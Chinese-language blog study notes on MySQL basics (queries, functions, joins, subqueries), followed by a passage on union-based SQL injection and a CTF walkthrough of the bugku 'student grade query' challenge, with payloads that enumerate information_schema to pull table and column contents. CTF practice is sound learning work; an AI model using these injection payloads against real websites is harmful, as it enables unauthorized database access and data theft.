sql学习

1. mysql学习

create database bjpowernode; 创建库
use bjpowernode;
source [路径] 导入表格们
show tables 显示表格
desc [table]; 和 show columns from [table]查看表table的结构
select * from [table]; 查表 
/c 终止命令
show databases; 查看有哪些数据库
select version(); 查看mysql版本
select database(); 查看用的是哪个数据库
select [字段1],[字段2] from [table]; 查表的某个字段
select sal*12 (as) yearsal from emp; 不会改变
条件查询 where
and 优先级高于 or
判断是否为空 只能用is 不能用null  
like 模糊查询: select ename from emp where ename like '_a%'   %表示任意数量任意字符,_表示一个任意字符;
排序:select sal from emp order by sal (desc/asc); desc降序 asc升序 默认升序
函数:
lower() 小写 substr(str,a,b) 从a开始截取b个
upper() 大写 trim() 去空格 length() 取长度
round(a,b) 四舍五入a , 小数后b为
rand() 0~1随机数 
select ifnull(comm,a) as comm,ename from emp; 如果comm是null 显示a; 
多行函数: (忽略空值)
1.sum() 求和
2.avg() 平均 
3.count () 获得记录数
4.max() 5.min() 
分组函数不能直接放在where中
distinct  去重 无括号, 必须放在最前面
group by 分组 
select sal from emp group by job (,deptno ) 可多个变量联合分组
having 过滤  : 在分组完成后进行过滤,考虑效率问题 能用where尽量用where
单表查询最复杂语句

联结查询:

分为外连接和内连接
内连接完全匹配 外连接包括不匹配的,全拿出来 , 外连接>=内连接
从多个表查询,如果不加限制,就全连一起了。 笛卡尔积

  1. 内连接中的等值连接:
      92标准写法 : select e.ename,d.dname from emp e ,dept d where e.deptno=d.detpno;
      98标准写法 : select e.ename,d.dname from emp e join dept d on e.deptno=d.deptno;

2.子查询
以查询 sal大于 sal的平均数查询为例

1. from 后的 子查询
mysql> select a.ename,a.sal from emp a join (select avg(sal) as asal from emp) t on a.sal >t.asal;
+-------+---------+
| ename | sal     |
+-------+---------+
| JONES | 2975.00 |
| BLAKE | 2850.00 |
| CLARK | 2450.00 |
| SCOTT | 3000.00 |
| KING  | 5000.00 |
| FORD  | 3000.00 |
+-------+---------+
6 rows in set (0.00 sec)

2. where后的子查询
mysql> select ename,sal from emp where (select avg(sal) from emp)< sal;
+-------+---------+
| ename | sal     |
+-------+---------+
| JONES | 2975.00 |
| BLAKE | 2850.00 |
| CLARK | 2450.00 |
| SCOTT | 3000.00 |
| KING  | 5000.00 |
| FORD  | 3000.00 |
+-------+---------+
6 rows in set (0.00 sec)
mysql> select b.dname,t.asal,a.grade  from (select avg(sal) as asal,deptno as dno from emp group by deptno) t join dept b join salgrade a on t.dno=b.deptno and t.asal between a.losal and a.hisal;
+-------------+-------------+-------+
| dname       | asal        | grade |
+-------------+-------------+-------+
| SALES       | 1566.666667 |     3 |
| ACCOUNTING  | 2916.666667 |     4 |
| RESEARCHING | 2175.000000 |     4 |
+-------------+-------------+-------+
  1. 在select后面使用select

4.union (合并查询结果集)

sql注入:

1.获取字段数:order by x 取临界值
(以下假设x=3)
2.获取数据库名: database() union select databases(),2,3;
(假设获得到数据库名为bjpn)
3.获取数据库版本: version() union select databases(),2,3;
4.获取数据库的表名:
union select table_name,2,3 from information_schema.tables where table_schema='bjpn';
(假设获得表名字emp)
5.获取表中的列名
union select column_name,2,3 from information_schema.columns where table_name='emp';
(假设获得列名sal)
6.获取数值
union select sal,2,3 from emp;

实战

在网页中,输入的数据往往是通过GET或者POST方法得到的,所以为字符串,带有引号,所以在注入的时候需要带上一个 ‘ 使表达式封闭。
同时要注意需要注释掉后面原本的引号

题目1 bugku 学生成绩查询

sql题目显然。
第一步,探索字段数量,查询结果: 四个字段.

1' order by 5 #

第二步:获得数据库名称 :
有一个注意点就是 不能写

1' union select database(),2,3,4; #

这是因为表格限制,只能显示一组数,所以应该把1去掉

' union select database(),2,3,4; #

得到数据库名称为skctf_flag
下一步:用过库名称得到表名

' union select table_name,2,3,4 from information_schema.tables where table_schema='skctf_flag' #

表名为fl4g
再通过表名得到其中字段名

' union select column_name,2,3,4 from information_schema.columns where table_name='fl4g'; #

得到有一个字段叫做skctf_flag
接下来直接查询嗷

' union select skctf_flag,2,3,4 from fl4g ; #

得到

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 220,884评论 6 513
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 94,212评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 167,351评论 0 360
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,412评论 1 294
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,438评论 6 397
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 52,127评论 1 308
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,714评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,636评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 46,173评论 1 319
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,264评论 3 339
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,402评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 36,073评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,763评论 3 332
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,253评论 0 23
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,382评论 1 271
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,749评论 3 375
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,403评论 2 358

推荐阅读更多精彩内容